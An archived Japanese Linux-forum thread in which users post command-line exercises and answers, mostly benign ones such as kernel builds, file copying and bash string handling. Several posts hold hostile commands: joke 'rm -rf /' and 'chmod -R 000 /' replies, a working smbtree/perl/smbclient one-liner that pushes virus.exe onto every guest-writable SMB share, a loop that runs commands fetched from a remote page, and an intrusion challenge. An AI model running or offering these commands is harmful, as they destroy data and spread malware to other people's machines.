【上達】私に課題を与えてください 問題集1巻目
■ このスレッドは過去ログ倉庫に格納されています
0001login:Penguin
2009/08/25(火) 07:50:36ID:pbvgeLaT解答はレス2以降で。
0002login:Penguin
2009/08/25(火) 07:53:01ID:oK1kCcwF0003login:Penguin
2009/08/25(火) 08:02:07ID:yaj/Hshc言語訓練のために立てたものです。
アイと研究員とのやり取りに利用するスレッドなので、
関係者以外は書きこまないで下さい。
京都大学霊長類研究所
0004login:Penguin
2009/08/25(火) 08:21:15ID:8kiBt8Imls -al /
0005login:Penguin
2009/08/25(火) 08:44:14ID:HfP89iM90006login:Penguin
2009/08/25(火) 08:47:45ID:HXn83Yjr0007login:Penguin
2009/08/25(火) 08:48:20ID:+vzgE3X1sudo rm -rf /
0008login:Penguin
2009/08/25(火) 08:56:12ID:PW9vU8ansudo chmod -R 000 /
0009login:Penguin
2009/08/25(火) 09:02:08ID:8kiBt8Imあほ
0010login:Penguin
2009/08/25(火) 09:18:00ID:6Wqqx7fA<問2>カーネルを最新にしてください
回答は次レス以降で
0011login:Penguin
2009/08/25(火) 09:24:50ID:+vzgE3X1sudo apt-get update
sudo apt-get upgrade
0012login:Penguin
2009/08/25(火) 10:01:26ID:HfP89iM9この板の住人にはネタという概念がないから、ネタレスは止しておいた方がいいよ。
0013login:Penguin
2009/08/25(火) 11:44:08ID:oK1kCcwF0014login:Penguin
2009/08/25(火) 11:48:49ID:incYiVCU0015login:Penguin
2009/08/25(火) 14:22:23ID:fOeI54yR1. ソースとパッチの取得
cd /usr/src
links http://www.kernel.org
stable releaseの所で[d]を押しpatch-2.6.30.5.bz2を取得
2.ビルドの準備
tar -xvf linux-2.6.30.tar.bz2
mv linux-2.6.30{,.5}
ln -sv linux-2.6.30.5 linux
cd linux
make mrproper
bzcat ../patch-2.6.30.5.bz2 | patch -p1
cat /proc/config.gz | gzip -d > .config
3.ビルド
make oldconfig
make
4.インストール
make modules_install
もしx86なら
cp arch/x86/boot/bzImage /boot/linux-2.6.30.5
cp System.map /boot/System.map-2.6.30.5
ブートローダの設定に追加して再起動
0016login:Penguin
2009/08/25(火) 20:53:30ID:EvErd7nNユーザー"foo" のホームディレクトリ/home/fooを/home/barとして
内包している全てのファイルをコピーせよ。
ただし、/home/barは現在存在していないものとする。
0017login:Penguin
2009/08/25(火) 21:04:40ID:pbvgeLaTcp -r -p /home/foo /home/bar
0018login:Penguin
2009/08/25(火) 21:16:33ID:fOeI54yRusermod -d /home/bar foo
0019login:Penguin
2009/08/25(火) 21:22:36ID:S3I+peSXgitでやれよ。
0020login:Penguin
2009/08/25(火) 21:23:24ID:fOeI54yRusermod -d /home/bar -m foo
です。
0021login:Penguin
2009/08/25(火) 21:30:01ID:EvErd7nN<問3>の課題を、全ての日付情報を保持して 行え。
0022login:Penguin
2009/08/25(火) 21:33:16ID:pbvgeLaThttp://itpro.nikkeibp.co.jp/article/COLUMN/20060228/230982/
そういうことか。
0023login:Penguin
2009/08/25(火) 21:37:19ID:fOeI54yR>>20でやれば日付情報は変化しないと思うけど?
0024login:Penguin
2009/08/25(火) 21:41:33ID:EvErd7nNsee "ctime"
0025login:Penguin
2009/08/25(火) 21:49:28ID:pbvgeLaThttp://itpro.nikkeibp.co.jp/article/Keyword/20090710/333510/
>全ての日付情報。
0026login:Penguin
2009/08/25(火) 22:07:45ID:fOeI54yRAccess: 2007-12-30 06:50:11.000000000 +0900
Modify: 2007-03-03 21:50:46.000000000 +0900
Change: 2007-12-30 06:50:11.000000000 +0900
更新されてないんだけど。
0027login:Penguin
2009/08/25(火) 22:08:03ID:EvErd7nNなお、>>20は 先読みをしてユーザーのhomeを移動させた ということだと思われる。
実行されたのは移動で、コピーではない。/home/foo は消えていないか?
-p オプションでcpしても、全ての日付情報はデッドコピーできない、
という点を伝えたかった。
0028login:Penguin
2009/08/25(火) 22:13:36ID:pbvgeLaT0029login:Penguin
2009/08/25(火) 22:26:55ID:fOeI54yRうぅ……、「コピーせよ」か……。
引っ掛けだよぉ orz
cp -a /home/{foo,bar}
では?
0030login:Penguin
2009/08/25(火) 22:43:17ID:7NvygcQ00031login:Penguin
2009/08/25(火) 22:55:43ID:EvErd7nNうふふ。ひっかけたつもりはないんだけど、勘違いされても無理はなかったかも。
出題側も、注意深く書かないとだめなんだな。
>>30
それでもいいんじゃね? 良質な問題なら、解答例を見て参考になる初心者もいるだろ?
で、ここって解答例を書いた方がいいのか? 自己確認でFAってことにしないと
トレーニングや腕試しにならないと思うのだが? >>1
0032login:Penguin
2009/08/25(火) 23:13:39ID:BooGp9+x>ここに大学での宿題を貼る
いまどきの大学ではこんなどうでもいい事を宿題に出すのか?
0034login:Penguin
2009/08/25(火) 23:19:07ID:fOeI54yR0035login:Penguin
2009/08/25(火) 23:25:39ID:EvErd7nNsinやcosが何なのかを知らない高校生が、工科系の大学にすんなり入ってくる
という現実を知らないのか? w
全入時代 目前、高等教育の現場は「ゆとり」のおかげでゆとりがなくなっている、
そんな状態だ。全てがそうだとは言わないけど。
0036login:Penguin
2009/08/25(火) 23:27:53ID:BooGp9+xそれで>>1みたいな問いを出して学生はメモメモ(・_・ )φ、か?
学費ぼったくりだな。
0037login:Penguin
2009/08/25(火) 23:36:40ID:EvErd7nN大学は高校までとは違うよ。
自分で自学自習して進んでいける奴は ほんのちょっとアシストしてやるだけでいい。
大学ってところは、本来、そういう場所だろ?
だけど、学ぶ気はさらさらないのに大学にくる奴は ごまんと居る。
そもそも ブートストラップは、単純なものだろ?
0038login:Penguin
2009/08/25(火) 23:39:06ID:7NvygcQ0ゲストログオン可なマシンすべてに、
ローカルマシンにあるvirus.exeという名前の
ファイルをコピーするコマンドを書け。
0039login:Penguin
2009/08/25(火) 23:41:05ID:7NvygcQ00040login:Penguin
2009/08/25(火) 23:47:50ID:EvErd7nN/tmp/virus.exe がどんなファイルタイプなのかを調べよ。
0041login:Penguin
2009/08/25(火) 23:50:28ID:7NvygcQ0fileとかreadelfでおk?
0042login:Penguin
2009/08/25(火) 23:53:05ID:7NvygcQ0ある日時になると、指定したURLにあるHTMLファイルを取得し、
そのHTMLに書かれたコマンドを順に実行せよ。
0043login:Penguin
2009/08/26(水) 00:21:08ID:VfaWlTotitpro.nikkeibp.co.jpの今日の腕試し!みたいなの頼みたい。
後から来た人でも過去レス参照してタメになるような基礎的なの。
0044login:Penguin
2009/08/26(水) 00:37:07ID:qJJaFkE2タグは無しHTML。
wget hogehoge.com
while read line;
do
echo `$line`
done < file.html
でおk?
0045login:Penguin
2009/08/26(水) 00:58:16ID:p7NCW5nOマジで。。
いちおう答え
>>38
$ smbtree -Uguest%|perl -nle ?if(/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/){$h=$1;$h=~tr{\\}{/};print$h;system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"")}?
0046login:Penguin
2009/08/26(水) 00:59:25ID:p7NCW5nO$ smbtree -Uguest%|perl -nle 'if(/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/){$h=$1;$h=~tr{\\}{/};print$h;system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"")}'
0047login:Penguin
2009/08/26(水) 07:59:25ID:mTv2R4HV解答者の中で正解があればいいのだけど、
もしなければ、課題を与えてくれた人に模範解答をお願いしたいと思います。
0048login:Penguin
2009/08/26(水) 08:08:42ID:seVBbraL0049login:Penguin
2009/08/26(水) 08:24:21ID:5VQDQhqXLinuxコマンドは意外にむつかしい
0050login:Penguin
2009/08/26(水) 10:34:19ID:tozyo/AI0051login:Penguin
2009/08/26(水) 17:43:31ID:p7NCW5nO-bがないと同じワークグループ内しか探してくれなかった。
$ smbtree -b -Uguest%|perl -nle 'if(/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/){$h=$1;$h=~tr{\\}{/};system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"")}'
0052login:Penguin
2009/08/26(水) 21:30:18ID:mferTyOH【緊縛】私に罰を与えてください 問題集2縄目
0053login:Penguin
2009/08/26(水) 22:25:40ID:qwJ2/jyu小さくまとまっていて、ほどく(=理解)のがたいへん。
0054login:Penguin
2009/08/26(水) 23:03:13ID:p7NCW5nOじゃあ Perl の部分だけインデントします。
while (<>) {
# "\\マシン名\\フォルダ名"を抜き出す
if (/(\\\\[^\\\s]+\\[^\\\s\$]+)\s+$/) {
$h = $1;
$h =~ tr{\\}{/};
system("smbclient $h -N -c \"prompt;recurse;mput virus.exe\"");
}
}
0055login:Penguin
2009/08/27(木) 00:39:42ID:S1h8kGra/home/files/domain/files/には、01から09までのディレクトリがある。
これらに、/home/files/link.lnkファイルをコピーし、
さらにこのファイルの所有者をabc、グループをdefとし、
それぞれ読み取り属性のみを設定しなさい。
<問9>
また、ディレクトリと、フォルダの違いを簡単に述べよ。
0056login:Penguin
2009/08/27(木) 02:59:14ID:NC6ozCQrA8:
for i in /tmp/files/domain/files/0{0..9};do
cp /tmp/files/link.lnk $i;
chown abc:def $i/link.lnk;
chmod 400 $i/link.lnk;
done
A9:
同じ
0057login:Penguin
2009/08/28(金) 02:27:17ID:bBjSWu/KX=foo-0.0.1-rc1.tar.gz
この変数Xからbashのパターンマッチを用いて下記に示すように抜き出せ。
NAME, foo
VERSION, 0.0.1
REVISION, 1
SUFFIX, .tar.gz
例)
$ NAME=${X%%-*}
$ echo ${NAME}
$ foo
0058login:Penguin
2009/08/28(金) 05:29:12ID:OKsrZM1IX=foo-0.0.1-rc1.tar.gz
NAME=${X%%-*}
VERSION=${X#$NAME-}
VERSION=${VERSION%%-*}
REVISION=${X#$NAME-$VERSION-}
REVISION=${REVISION%%.*}
SUFFIX=${X#$NAME-$VERSION-$REVISION}
0059login:Penguin
2009/08/29(土) 23:43:55ID:fGZOrtWlCPUの温度を表示する方法を挙げよ。
(例)
#yum install xxxx
#command_name
0060login:Penguin
2009/08/30(日) 03:06:38ID:y5/QoVdf0061login:Penguin
2009/08/30(日) 21:59:38ID:dbbtl/7B0062login:Penguin
2009/08/30(日) 22:43:50ID:+l9wyk6P自民党はどうなる?
0063login:Penguin
2009/08/30(日) 22:51:56ID:WwhqnWgCjimintoh > /dev/null
0064login:Penguin
2009/08/30(日) 23:01:48ID:qdiQuvup0065login:Penguin
2009/08/31(月) 13:24:18ID:bAPWr+kh# yum install lm_sensors
バージョンは3.0.2
# sensors-detect
メッセージのとおり、エンターを押していく。
最後にここで認識されたデバイスのドライバ情報が/etc/sysconfig/lm_sensorsに自動登録される。
# sensors
温度情報、ファン情報が表示される。
0066login:Penguin
2009/08/31(月) 19:24:51ID:0JgAt4l5スレ乱立による鯖負荷軽減工作ご苦労様です。
ニヤリとしてしまう程、意図みえみえですね。
それにしてもDTM板にまでこんな糞スレ立てなければならないなんて
よほど前回の陥落のダメージは大きかったのですかね?
0067login:Penguin
2009/09/01(火) 00:24:45ID:mFt0hhy2そういう”係り”のようなものがあるのですか?
0068login:Penguin
2009/09/01(火) 16:13:55ID:lGMGvNYx強い傾向を示すデータを提示してくれないと話にならない
0069login:Penguin
2009/09/03(木) 16:48:05ID:XXlPF8Wuν即でスレタイに「実父」を含むスレを定期的に監視し、
そのスレに含まれるすべてのZIPファイルを
重複せずにローカルに保存するスクリプトを作れ。
0070login:Penguin
2009/09/03(木) 16:56:49ID:XXlPF8Wuν即でスレタイに「パン」「やなせ」を含むスレを定期的に監視し、
そのスレにバランスよく特定のAAを書き込むスクリプトを作れ。
0071Σ凸(・д・)てふてふ ◆1xsES22i66
2009/09/03(木) 22:06:46ID:FjThMhB10072login:Penguin
2009/09/04(金) 14:26:30ID:Cj+7l1D90073login:Penguin
2009/09/04(金) 20:51:04ID:7VmZ9Ui10074login:Penguin
2009/09/05(土) 01:05:32ID:0TookqAP0075login:Penguin
2009/09/06(日) 18:30:42ID:5f420rVM0076login:Penguin
2009/09/13(日) 01:27:52ID:hmW7Rig0#!/bin/sh
BASEURL="http://yutori7.2ch.net/test/read.cgi/news4vip"
KEYWORD1='実父'
cat /dev/null > ./urllist.txt
wget -q -O ./subject.txt "http://yutori7.2ch.net/news4vip/subject.txt"
nkf -w -Lu ./subject.txt | grep ${KEYWORD1} | while read line
do
DATFILE=$(echo ${line} | grep -E -o "[0-9]{10}")
TARGETURL=$(echo "${BASEURL}/${DATFILE}/")
wget -q -O ${DATFILE} "${TARGETURL}" && nkf -w -Lu ${DATFILE} | sed -e "s#<br>#\n#g" |grep -o "ttp://*.*\.zip" | sed -e "s#.zip.*#.zip#g" -e "s#^ttp#http#g" -e "s#ime.nu/##g" >> ./urllist.txt
rm -f ${DATFILE}
done
wget -P ./download_file/ -nd -nc -i ./urllist.txt
直DLのみ
DL間隔とか考えてない
0077login:Penguin
2009/09/18(金) 20:52:45ID:R/4Lru76すばらしい
0078login:Penguin
2009/09/25(金) 14:58:46ID:vDQC2aietouchではなくcatを使う理由は?趣味?
0079login:Penguin
2009/09/26(土) 00:33:13ID:iY9l2Ri7touchはファイルが存在しない場合だけ空のファイルを作るから
今思うと echo -n > file の方が良かった気がする
あとはgrep ${KEYWORD1}に -e 付け忘れたりとか変数に””が付いてたり付いてなかったりと作った後にいろいろダメ出ししたくなるわね
0080login:Penguin
2009/09/26(土) 01:43:08ID:VptfbrDi0081login:Penguin
2010/01/16(土) 12:17:20ID:zceWzKa90082アジェグ4倍 ◆4xAJeG.COM
2010/01/16(土) 14:37:06ID:l8bsifP0その仮想マシンに侵入し、root権限を奪い取って rm -f / を実行し、
ホストOSのWindows7の、マイドキュメント内のファイルを入手せよ。
マイドキュメントのファイル入手と、rm -f / の順序は
どちらでもよいものとする。
なお、IPアドレスは、192.168.11.2である。
0083login:Penguin
2010/01/17(日) 10:11:37ID:YM7FudPropensshのv3.1pのbssの0x2344番地を0xe4に書き換え。
接続するとバッファオーバーフローが起きてroot権限が取得出来る。
後は好きにしろ。
0084login:Penguin
2010/04/04(日) 02:28:44ID:ADs01CGrそんなんムリ
だいたい、ホストOSへのアクセスはできんよな。
0085login:Penguin
2010/04/14(水) 02:49:49ID:wbEfabf10086【課題】SAMBAについて
2010/05/04(火) 03:26:01ID:Roiw/4YY2、また、必要なパッケージも示すこと。
/mnt/windows_share/ABC
ただし、windows共有のユーザー名は user_K、パスワードはpasswordとする。
/mnt/windows_share/ABCはすでに生成されている。
0087login:Penguin
2010/05/04(火) 09:22:58ID:mrMI037H偉そうに。
0088login:Penguin
2010/05/04(火) 09:39:02ID:dVx748ni0089login:Penguin
2010/09/28(火) 18:15:35ID:QpVHcL0z0090login:Penguin
2011/01/24(月) 09:36:49ID:apCm200n・find コマンドを使い $HOME にある最古のファイルを探しだせ。
条件はワンライナーであること。
findのみを使用すること。
0091login:Penguin
2011/05/13(金) 16:41:36.05ID:3lN08hUOやらなくてもいい宿題なんてやらない、考えたくないという人が多いんだろうな。
初心者はここを参考にして勉強にできるから、盛り上がってほしいけどね。
0092login:Penguin
2011/11/28(月) 07:37:46.66ID:k6xaMFqY0093login:Penguin
2011/11/28(月) 18:45:22.12ID:GpepBfXK改題を同行する前にたいてい課題が転がってくるからなかなか
なんか一つの本とかを皆でこういう方法もあるねみたいな感じでやったほうが盛り上がりやすいかもね
0094login:Penguin
2011/11/29(火) 09:43:27.51ID:GNxn2xxL0095login:Penguin
2012/06/05(火) 18:30:34.79ID:+90H8l5oよろしく。
0096login:Penguin
2012/06/05(火) 18:44:44.02ID:+90H8l5o>>909
for i in *; do zip -r "$i".zip "$i"; done
とか。
……と思ったけどディレクトリとファイルが混在してると
そこ判別しなきゃいかんな。
911 :login:Penguin:2012/06/05(火) 11:19:19.54 ID:74+BfNXd
1.ls -d でフォルダのリスト作って、
2.リストを1行ずつ読み込んで、繰り返して、zip作ればいいと思うけど
912 :login:Penguin:2012/06/05(火) 11:27:52.43 ID:3WRw8J5h
まぁ
for i in *; do [ -d "$i" ] && zip -r "$i".zip "$i"; done
でいいんだけどね。
ちょっと長くなっちゃうな、と。
913 :login:Penguin:2012/06/05(火) 12:05:05.36 ID:3WRw8J5h
>>911
ん?
ls -d でどうやるの?
914 :login:Penguin:2012/06/05(火) 18:27:49.33 ID:74+BfNXd
ls -d > list.txtじゃ駄目ですか?
915 :login:Penguin:2012/06/05(火) 18:28:34.51 ID:74+BfNXd
長くなったら駄目なんですね、ごめん
0097login:Penguin
2013/07/15(月) NY:AN:NY.ANID:wXXrGmKw>213 :login:Penguin:2013/07/14(日) NY:AN:NY.AN ID:GSFJ9Frn
> ログから書き出したメールアドレスが数百行書かれたファイルが2つあります。
> どちらにも存在するアドレスだけを抜き出すことはできますか?
>
> ドメインは同じですので、@より後ろは同じです。
1列のみのcsvファイルとして、MS ACCESSなどに読み込ませて、emalistテーブル(列名 email)を作成する。
そして、次のSQL文を実行すると良いのではないか?
select T1.email
from emalist T1, emalist T2
where T1.email = T2.email
やっていること
emalistの各行(メールアドレスを持つ)を、さらに同じemalistの全行と結合させる。
そうしてこの結合について、同じメールアドレスが結合しているものを、where条件で抽出する。
それを結果として表示させる。
0098login:Penguin
2013/07/15(月) NY:AN:NY.ANID:wXXrGmKw重複排除が必要なら、
select distinct T1.email とすればいいし
■ このスレッドは過去ログ倉庫に格納されています